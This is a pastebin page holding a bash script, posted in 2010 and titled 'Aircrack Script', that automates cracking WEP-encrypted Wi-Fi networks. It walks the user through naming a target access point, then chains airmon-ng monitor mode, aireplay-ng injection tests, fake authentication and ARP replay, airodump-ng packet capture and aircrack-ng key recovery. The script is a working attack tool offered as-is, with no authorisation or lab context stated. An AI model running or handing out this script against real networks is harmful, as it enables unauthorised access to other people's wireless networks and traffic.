pastebin - collaborative debugging tool
kpaste.net RSS


Aircrack Script
Posted by Phoenix on Sun 1st Aug 2010 02:18
raw | new post
modification of post by Phoenix (view diff)

  1. #!/bin/bash
  2.  
  3. # Variables: $iface, $BSSID, $ESSID, $chan, $MAC
  4.  
  5. echo "AirCrack WEP"
  6. echo
  7.  
  8. # ask for wifi interface
  9. echo "Available Interfaces:"
  10. for i in `cat /proc/net/dev | grep ':' | cut -d ':' -f 1`
  11. do
  12.         ifname=`echo $i | tr -d ' '`
  13.         echo "$i"
  14. done
  15. echo
  16. while [[ -z $iface ]] || ! ifconfig $iface &>/dev/null; do
  17.         echo -n "Specify WiFi Interface (probably wlan0 or ath0) "
  18.         read iface
  19. done
  20.  
  21. echo
  22.  
  23. # get wifi card MAC address
  24. MAC=`ifconfig $iface | awk '/ether/{print$2}'`
  25.  
  26. # ask for basestation MAC address
  27. while [[ -z `echo $BSSID | grep -P [a-fA-F0-9][a-fA-F0-9]:[a-fA-F0-9][a-fA-F0-9]:[a-fA-F0-9][a-fA-F0-9]:[a-fA-F0-9][a-fA-F0-9]:[a-fA-F0-9][a-fA-F0-9]:[a-fA-F0-9][a-fA-F0-9]` ]]; do
  28.         echo -n "Specify Basestation MAC Address: "
  29.         read BSSID
  30. done
  31.  
  32. echo
  33.  
  34. # ask for network name
  35. while [[ -z $ESSID ]]; do
  36.         echo -n "Specify Wireless Network Name: "
  37.         read ESSID
  38. done
  39.  
  40. echo
  41.  
  42. # ask for channel
  43. while [[ $chan -lt 1 ]] || [[ $chan -gt 14 ]]; do
  44.         echo -n "Specify Channel No. [1-14]: "
  45.         read chan
  46. done
  47.  
  48. echo
  49.  
  50. # put card in monitor mode
  51. echo "Putting card in monitor mode..."
  52. for i in {0..9}; do
  53.         airmon-ng stop mon$i &>/dev/null
  54. done
  55.  
  56. airmon-ng start $iface $chan
  57.  
  58. echo
  59.  
  60. # injection test
  61. aireplay-ng -9 -e $ESSID -a $BSSID mon0 &
  62. read -p "Was the injection test successful? [Y/n] "
  63. echo
  64. [[ $REPLY == n ]] && echo "AP is probably too far away, Exiting..." && exit
  65.  
  66. # capture packets
  67. REPLY=n
  68. while [[ $REPLY == "n" ]]; do
  69.         read -p  "Start Capturing Packets? [Y/n] "
  70. done
  71. xterm -e airodump-ng -c $chan --bssid $BSSID -w output mon0 &
  72.  
  73. echo
  74.  
  75. # fake auth
  76. REPLY=n
  77. while [[ $REPLY == n ]]; do
  78.         if [[ $picky != y ]]; then
  79.                 aireplay-ng -1 0 -e $ESSID -a $BSSID -h $MAC mon0
  80.         else
  81.                 aireplay-ng -1 6000 -o 1 -q 10 -e $ESSID -a $BSSID -h $MAC mon0
  82.         fi
  83.         echo
  84.         read -p "Was fake authentication successful? [Y/n] "
  85.         echo
  86.         [[ $REPLY == n ]] && picky=y
  87. done
  88.  
  89. # listen for ARP
  90. xterm -e aireplay-ng -3 -b $BSSID -h $MAC mon0 &
  91.  
  92. # start aircrack
  93. read -p "Press [ENTER] when ready to start aircrack"
  94. xterm -e aircrack-ng -b $BSSID output*.cap &

Submit a correction or amendment below (click here to make a fresh posting)
After submitting an amendment, you'll be able to view the differences between the old and new posts easily.

Syntax highlighting:

To highlight particular lines, prefix each line with {%HIGHLIGHT}





All content is user-submitted.
The administrators of this site (kpaste.net) are not responsible for their content.
Abuse reports should be emailed to us at